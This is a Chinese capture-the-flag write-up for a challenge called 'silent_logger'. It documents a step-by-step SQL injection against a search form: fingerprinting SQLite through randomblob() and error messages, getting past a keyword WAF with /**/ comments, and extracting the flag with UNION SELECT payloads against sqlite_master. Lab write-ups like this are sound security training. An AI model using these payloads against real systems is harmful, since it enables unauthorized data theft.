题目
silent_logger
工具
Apipost 8.2.6
第一步:初步信息收集
1.1 访问目标网站
打开网站后,发现这是一个简单的用户搜索界面:
- 标题:“沉默的日志 - 用户搜索系统”
- 功能:搜索用户名或邮箱
- 表单:一个输入框和一个搜索按钮
1.2 查看页面源码
通过浏览器开发者工具查看页面结构:
<formaction="/search"method="post"><inputtype="text"id="query"name="query"placeholder="输入搜索关键词..."required><buttontype="submit">搜索</button></form>关键发现:
- 表单提交到
/search端点 - 使用 POST 方法
- 参数名是
query
第二步:查看网络请求
2.1 为什么需要枚举参数名?
虽然HTML中显示参数名是query,但实际后端可能使用不同的参数名。需要测试多个常见的参数名。
2.2 查看方法
输入数字1,点击搜索,在网络中查看请求信息,看到正确的参数名是query,且参数格式为From Data
第三步:基础SQL注入测试
打开APIPOST,在Body里输入参数query=1且参数格式选择form-data,点击发送,确保能够正常访问
3.1 测试单引号注入
Payload:'
结果:返回 200,页面正常显示
- 这说明单引号没有被直接过滤,但也没有触发明显的SQL错误
3.2 测试 OR 注入
Payload:' OR '1'='1
结果:连接失败
- 可能触发了WAF(Web应用防火墙)的防护机制
3.3 测试注释符
Payload:' AND SLEEP(3) #
结果:返回错误 “unrecognized token: “#””
- 说明
#注释符不被支持
Payload:' AND SLEEP(3)--
结果:返回错误 “no such function: SLEEP”
- 说明数据库不支持
SLEEP()函数
关键发现:
#注释符不支持--注释符支持- 没有
SLEEP()函数 → 可能是SQLite数据库
第四步:数据库类型识别
4.1 为什么需要识别数据库类型?
不同的数据库有不同的语法和函数,需要针对性构造payload。
4.2 SQLite特征测试
测试1:使用SQLite特有的时间延迟函数
'ANDrandomblob(100000000)--结果:响应时间约3.054秒,明显延迟 ✅
randomblob()是SQLite特有的函数- 生成大量随机数据导致延迟
测试2:测试MySQL函数
'ANDSLEEP(3)--结果:错误 “no such function: SLEEP”
- SQLite没有
SLEEP()函数
结论:数据库类型是SQLite
第五步:测试UNION注入
5.1 基础UNION测试
Payload:' UNION SELECT 1,2,3--
结果:连接失败
- 可能是
UNION关键字被过滤
5.2 绕过WAF测试
方法1:大小写混淆
Payload:' UnIoN SeLeCt 1,2,3--
结果:连接失败
- 大小写混淆无效
方法2:使用注释符绕过
Payload:'/**/union/**/select/**/1,2,3--
结果:成功!返回数据 ✅
关键发现:
UNION和SELECT关键字被过滤- 使用
/**/(SQL注释) 替代空格可以绕过WAF - 返回结果:
ID: 1, 用户名: 2, 邮箱: 3 - 说明查询返回3列
第六步:获取数据库结构信息
6.1 获取SQLite版本
Payload:'/**/union/**/select/**/sqlite_version(),2,3--
结果:类型转换错误
- 第1列期望是整数类型,但返回的是字符串 “3.44.0”
6.2 获取表结构
从sqlite_master获取表名
Payload:'/**/union/**/select/**/name,2,3/**/from/**/sqlite_master--
结果:类型转换错误
- 第1列返回的是字符串 “flags”
从sqlite_master获取建表语句
Payload:'/**/union/**/select/**/sql,2,3/**/from/**/sqlite_master--
结果:类型转换错误,但错误信息中泄露了建表语句:
CREATETABLEflags(idINTEGERPRIMARYKEYAUTOINCREMENT,valueTEXTNOTNULL)重大发现:
- 存在一个名为
flags的表 - 表结构:
id(整数),value(文本) - flag很可能存储在
value字段中
假设查询到的第一张表不是flags,还有什么办法
使用group查询所有表
Payload:'/**/union/**/select/**/group_concat(name),2,3/**/from/**/sqlite_master/**/where/**/type='table'--
查找包含flag的表
Payload:'/**/union/**/select/**/name,2,3/**/from/**/sqlite_master/**/where/**/type='table'/**/and/**/name/**/like/**/'%flag%'--
获取列名的其他方法
Payload:'/**/union/**/select/**/group_concat(name),2,3/**/from/**/pragma_table_info('flags')--
第七步:构造最终Payload
7.1 分析问题
从之前的测试发现:
- 查询返回3列:ID、用户名、邮箱
- 第1列(ID)期望整数类型
- 第2列(用户名)可以显示字符串
- 第3列(邮箱)可以显示字符串
7.2 构造payload的思路
尝试1:直接查询flags表
Payload:'/**/union/**/select/**/id,value,3/**/from/**/flags--
结果:成功!✅
ID: 1, 用户名: qsnctf{a6ac1b078aa445abbb45de0f673df0af}, 邮箱: 3为什么成功?
id字段是整数,匹配第1列的类型value字段是字符串,匹配第2列的类型3是常量,匹配第3列的类型
尝试2:使用常量替代id
Payload:'/**/union/**/select/**/1,value,3/**/from/**/flags--
结果:同样成功 ✅
ID: 1, 用户名: qsnctf{a6ac1b078aa445abbb45de0f673df0af}, 邮箱: 3尝试3:自定义邮箱列
Payload:'/**/union/**/select/**/1,value,'test'/**/from/**/flags--
结果:成功 ✅
ID: 1, 用户名: qsnctf{a6ac1b078aa445abbb45de0f673df0af}, 邮箱: test第八步:获取Flag
最终成功的Payload
admin'/**/union/**/select/**/id,value,3/**/from/**/flags--执行结果
| ID | 用户名 | 邮箱 |
|---|---|---|
| 1 | qsnctf{a6ac1b078aa445abbb45de0f673df0af} | 3 |
Flag
qsnctf{a6ac1b078aa445abbb45de0f673df0af}攻击思路总结
思考路径图
1. 信息收集 ↓ 2. 参数名枚举 → 发现 'query' 参数 ↓ 3. 基础注入测试 → 发现是SQLite数据库 ↓ 4. UNION注入测试 → 发现关键字被过滤 ↓ 5. WAF绕过 → 使用 /**/ 替代空格 ↓ 6. 获取数据库结构 → 发现 flags 表 ↓ 7. 构造最终payload → 获取flag关键技术点
数据库类型识别
- SQLite特征:
randomblob()函数,不支持SLEEP() - 通过错误信息判断数据库类型
- SQLite特征:
WAF绕过
- 使用
/**/(SQL注释) 替代空格 - 这是常见的WAF绕过技巧
- 使用
UNION注入
- 确定列数:使用
UNION SELECT 1,2,3--测试 - 确定列类型:通过错误信息判断每列的数据类型
- 匹配数据类型:确保SELECT的列与原查询的列类型匹配
- 确定列数:使用
信息泄露
- 利用错误信息获取数据库结构
- SQLite的
sqlite_master表包含所有表的信息
参考资源
- OWASP SQL Injection
- SQLite Documentation
- SQL Injection Cheat Sheet